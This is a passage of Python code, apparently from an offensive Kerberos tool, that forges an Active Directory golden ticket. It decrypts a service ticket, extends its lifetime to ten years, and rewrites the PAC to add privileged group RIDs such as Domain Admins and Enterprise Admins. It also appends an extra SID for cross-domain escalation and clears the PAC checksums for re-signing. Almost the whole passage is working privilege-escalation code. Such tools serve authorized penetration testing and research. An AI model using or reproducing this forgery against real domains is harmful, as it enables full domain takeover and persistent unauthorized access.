raise Exception('Unsupported enctype 0x%x' % cipher.enctype)
# Key Usage 2
# AS-REP Ticket and TGS-REP Ticket (includes TGS session
# key or application session key), encrypted with the
# service key (Section 5.3)
plainText = cipher.decrypt(key, 2, cipherText)
#hexdump(plainText)
encTicketPart = decoder.decode(plainText, asn1Spec = EncTicketPart())[0]
# Let's extend the ticket's validity a lil bit
tenYearsFromNow = datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=365*10)
encTicketPart['endtime'] = KerberosTime.to_asn1(tenYearsFromNow)
encTicketPart['renew-till'] = KerberosTime.to_asn1(tenYearsFromNow)
#print encTicketPart.prettyPrint()
adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec =AD_IF_RELEVANT())[0]
#print adIfRelevant.prettyPrint()
# So here we have the PAC
pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets())
buffers = pacType['Buffers']
pacInfos = {}
for nBuf in range(pacType['cBuffers']):
infoBuffer = PAC_INFO_BUFFER(buffers)
data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']]
pacInfos[infoBuffer['ulType']] = data
buffers = buffers[len(infoBuffer):]
# Let's locate the KERB_VALIDATION_INFO and Checksums
if PAC_LOGON_INFO in pacInfos:
data = pacInfos[PAC_LOGON_INFO]
validationInfo = VALIDATION_INFO()
validationInfo.fromString(pacInfos[PAC_LOGON_INFO])
lenVal = len(validationInfo.getData())
validationInfo.fromStringReferents(data, lenVal)
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO before making it gold')
validationInfo.dump()
print ('\n')
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
validationInfo['Data']['GroupIds'] = list()
validationInfo['Data']['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
validationInfo['Data']['GroupIds'].append(groupMembership)
# Let's add the extraSid
if validationInfo['Data']['SidCount'] == 0:
# Let's be sure user's flag specify we have extra sids.
validationInfo['Data']['UserFlags'] |= 0x20
validationInfo['Data']['ExtraSids'] = PKERB_SID_AND_ATTRIBUTES_ARRAY()
validationInfo['Data']['SidCount'] += 1
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
# And, let's append the magicSid
validationInfo['Data']['ExtraSids'].append(sidRecord)
validationInfoBlob = validationInfo.getData()+validationInfo.getDataReferents()
validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO after making it gold')
validationInfo.dump()
print ('\n')
else:
raise Exception('PAC_LOGON_INFO not found! Aborting')
# Let's now clear the checksums
if PAC_SERVER_CHECKSUM in pacInfos:
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
if serverChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
serverChecksum['Signature'] = b'\x00'*12
else:
serverChecksum['Signature'] = b'\x00'*16
else:
raise Exception('PAC_SERVER_CHECKSUM not found! Aborting')
if PAC_PRIVSVR_CHECKSUM in pacInfos:
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksum['Signature'] = b'\x00'*12
if privSvrChecksum['SignatureType'] == constants.ChecksumTypes.hmac_sha1_96_aes256.value:
privSvrChecksum['Signature'] = b'\x00'*12
else:
privSvrChecksum['Signature'] = b'\x00'*16